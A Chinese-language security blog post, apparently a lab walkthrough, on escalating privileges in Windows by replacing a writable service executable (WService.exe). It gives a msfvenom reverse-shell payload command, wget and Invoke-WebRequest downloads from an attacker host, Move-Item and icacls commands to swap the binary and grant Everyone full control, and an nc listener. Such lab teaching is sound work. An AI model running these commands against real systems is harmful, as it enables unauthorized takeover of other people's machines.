阅读须知:
探索者安全团队技术文章仅供参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作,由于传播、利用本公众号所提供的技术和信息而造成的任何直接或者间接的后果及损失,均由使用者
本人负责,作者不为此承担任何责任,如有侵权烦请告知,我们会立即删除并致歉,创作不易转载请标明出处.感谢!
0X01 windows服务
Windows 服务由服务控制管理器 (SCM) 管理。 SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的进程。
其次我们可以知道windows 服务是 与 exe 可执行文件相关,同时 我们可以知道服务需要指定一个用户,因此我们能够想到什么 就是上次我们分享到 计划任务
如果我们能够也获得相应 exe 文件的修改权限我们是否可以根据这个权限,执行一个payload获取到相应服务指定用户的权限
0x02 靶场实践
查找 windows服务
首先找一找服务 选一个服务 看到了WindowsScheduler
我们可以看到 执行的二进制文件 C:\PROGRA2\SYSTEM1\WService.exe
权限
看看权限
其实这个时候我们就可以看到 我们everyone组有读写权限 有权限就好办
payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.69.232 LPORT=4444 -f exe-service -o 1.exe
生成一个 服务的二进制文件 可以直接连接的
载荷投递
kali 建立 http 服务
在受害机器中wget http://ip:8000/1.exe -O rev-svc.exe
应该是wget 可以在 powershell中使用不过这是个安装了wget
正常应该是使用
Invoke-WebRequest -Uri “https://10.11.69.232/1.exe” -OutFile"1.exe"
修改替换
此时我们正常会想到什么? 那肯定是利用我们的权限然后直接覆盖掉服务的 exe文件
直接 找到 \PROGRA2\SYSTEM1
又试了 shell
Move-Item -Path “C:\Users\thm-unpriv\1.exe” -Destination “C:\PROGRA2\SYSTEM1\WService.exe” 完美解决 直接将我们的 1.exe 换成了此时查看权限我们应该是由 完整的拥有这个文件的所有权限
但是此时我们不仅是要看我们有这个权限我们还要看 我们要运行的服务的目标账户有没有权限
要把权限 给足 直接就是 icacls 服务 /grant Everyone:F
get shell
直接nc -lvp 4444
启动服务连接
感谢K1t0大师傅的精彩投稿, 希望下次还写,赞赞给给…